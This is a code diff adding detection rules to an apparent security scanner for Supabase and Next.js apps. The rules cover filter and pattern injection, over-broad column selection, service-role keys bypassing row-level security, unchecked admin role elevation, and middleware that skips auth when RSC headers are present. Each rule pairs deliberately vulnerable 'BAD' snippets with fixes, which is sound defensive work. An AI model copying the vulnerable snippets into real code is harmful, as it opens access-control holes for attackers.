+ fix: "Never interpolate user input into .or() strings. Use separate .eq() filters or build the filter from validated enum values.",
533
+ fixCode: '// BAD: filter injection\n.or(`sender_id.eq.${userId},receiver_id.eq.${userId}`)\n\n// GOOD: use server-verified auth ID\nconst { data: { user } } = await supabase.auth.getUser();\n.or(`sender_id.eq.${user.id},receiver_id.eq.${user.id}`)\n\n// BEST: use RLS policies instead of client-side filtering',
534
+ compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
535
+ },
536
+ {
537
+ id: "VG1006",
538
+ name: "Supabase select('*') Exposes All Columns",
539
+ severity: "high",
540
+ owasp: "A01:2025 Broken Access Control",
541
+ description: "Supabase query uses select('*') or select() without specifying columns. This returns all table columns including sensitive fields (email, password_hash, internal_notes) to the client.",
542
+ pattern: /\.from\s*\(\s*["'][^"']+["']\s*\)\s*\.select\s*\(\s*(?:["']\*["']|\))/gi,
543
+ languages: ["javascript", "typescript"],
544
+ fix: "Always specify explicit columns: .select('id, name, avatar_url') instead of .select('*').",
545
+ fixCode: '// BAD: returns all columns including sensitive data\nconst { data } = await supabase.from("users").select("*");\n\n// GOOD: only needed columns\nconst { data } = await supabase.from("users").select("id, name, avatar_url");',
546
+ compliance: ["SOC2:CC6.1", "GDPR:Art25"],
547
+ },
548
+ {
549
+ id: "VG1007",
550
+ name: "Supabase Service Role Key Bypasses RLS",
551
+ severity: "critical",
552
+ owasp: "A01:2025 Broken Access Control",
553
+ description: "Server-side Supabase client is initialized with the service_role key, which bypasses all Row Level Security policies. If any route handler is missing an auth check, the entire table is exposed.",
554
+ pattern: /createClient\s*\(\s*[\s\S]{0,100}?(?:SERVICE_ROLE|service_role)/gi,
555
+ languages: ["javascript", "typescript"],
556
+ fix: "Use createServerClient() with per-request auth context, or use anon key with RLS policies. Reserve service_role for admin-only background jobs.",
557
+ fixCode: '// BAD: service role bypasses all RLS\nconst supabase = createClient(url, process.env.SUPABASE_SERVICE_ROLE_KEY!);\n\n// GOOD: per-request client respects RLS\nimport { createServerClient } from "@supabase/ssr";\nconst supabase = createServerClient(url, anonKey, { cookies });',
558
+ compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.5.10", "GDPR:Art32"],
559
+ },
560
+ {
561
+ id: "VG1008",
562
+ name: "Admin Role Elevation Without Authorization Check",
563
+ severity: "critical",
564
+ owasp: "A01:2025 Broken Access Control",
565
+ description: "Code sets a user's role to 'admin' without verifying that the caller is already an admin. Any authenticated user could escalate their own privileges.",
566
+ pattern: /(?:\.update\s*\([\s\S]{0,200}?(?:role|is_?admin|permission)\s*[:=]\s*["'](?:admin|superadmin|owner)["']|\.update\s*\([\s\S]{0,200}?(?:isAdmin|is_admin)\s*[:=]\s*true)/gi,
567
+ languages: ["javascript", "typescript"],
568
+ fix: "Always verify the caller has admin privileges before allowing role elevation.",
569
+ fixCode: '// GOOD: verify caller is admin first\nexport async function setRole(targetUserId: string, newRole: string) {\n const { userId } = await auth();\n const caller = await db.user.findUnique({ where: { id: userId } });\n if (caller.role !== "admin") throw new Error("Forbidden");\n await db.user.update({ where: { id: targetUserId }, data: { role: newRole } });\n}',
570
+ compliance: ["SOC2:CC6.6", "PCI-DSS:Req6.5.10"],
571
+ },
572
+ {
573
+ id: "VG1009",
574
+ name: "Supabase ilike/like Pattern Injection",
575
+ severity: "high",
576
+ owasp: "A03:2025 Injection",
577
+ description: "User input is interpolated into a Supabase .ilike() or .like() pattern via template literal or concatenation. Special characters (%, _, \\) in the input can modify the pattern, and PostgREST filter syntax characters can break the filter entirely.",
578
+ pattern: /\.(?:ilike|like)\s*\(\s*["'][^"']+["']\s*,\s*(?:`[^`]*\$\{|["'][^"']*["']\s*\+\s*(?!\s*["']))/gi,
579
+ languages: ["javascript", "typescript"],
580
+ fix: "Escape special pattern characters (%, _, \\) in user input before using in ilike/like filters.",
581
+ fixCode: '// BAD: pattern injection\n.ilike("name", `%${query}%`)\n\n// GOOD: escape special characters\nfunction escapeLike(s: string) {\n return s.replace(/[%_\\\\]/g, "\\\\$&");\n}\n.ilike("name", `%${escapeLike(query)}%`)',
582
+ compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
583
+ },
521
584
  ];
@@ -204,4 +204,17 @@ export const nextjsRules = [
204
204
  fixCode: '"use cache";\nimport { cacheLife, cacheTag } from "next/cache";\n\nasync function getCachedData() {\n cacheLife("hours");\n cacheTag("data-feed");\n return db.posts.findMany();\n}\n\n// Revalidate when data changes:\nimport { revalidateTag } from "next/cache";\nrevalidateTag("data-feed");',
205
205
  compliance: ["SOC2:CC7.1"],
206
206
  },
207
+ // ── RSC Header Middleware Bypass ─────────────────────────────────
208
+ {
209
+ id: "VG417",
210
+ name: "Next.js RSC/Prefetch Header Bypasses Middleware Auth",
211
+ severity: "high",
212
+ owasp: "A01:2025 Broken Access Control",
213
+ description: "Middleware skips auth checks when RSC: 1 or Next-Router-Prefetch header is present. Attackers can add these headers to any request to bypass authentication on protected routes.",
214
+ pattern: /(?:headers\.get\s*\(\s*["'](?:RSC|Next-Router-Prefetch|Next-Url)["']\s*\))[\s\S]{0,100}?(?:NextResponse\.next|return\s+NextResponse\.next|continue|return)/gi,
215
+ languages: ["javascript", "typescript"],
216
+ fix: "Never skip auth checks based on RSC or prefetch headers. These headers are user-controllable and cannot be trusted for security decisions.",
217
+ fixCode: '// BAD: attackers can add RSC header to skip auth\nif (request.headers.get("RSC") === "1") {\n return NextResponse.next(); // Auth bypassed!\n}\n\n// GOOD: always enforce auth regardless of headers\nconst { userId } = await auth();\nif (!userId && isProtectedRoute(pathname)) {\n return NextResponse.redirect(new URL("/login", request.url));\n}',
218
+ compliance: ["SOC2:CC6.6"],
219
+ },
207
220
  ];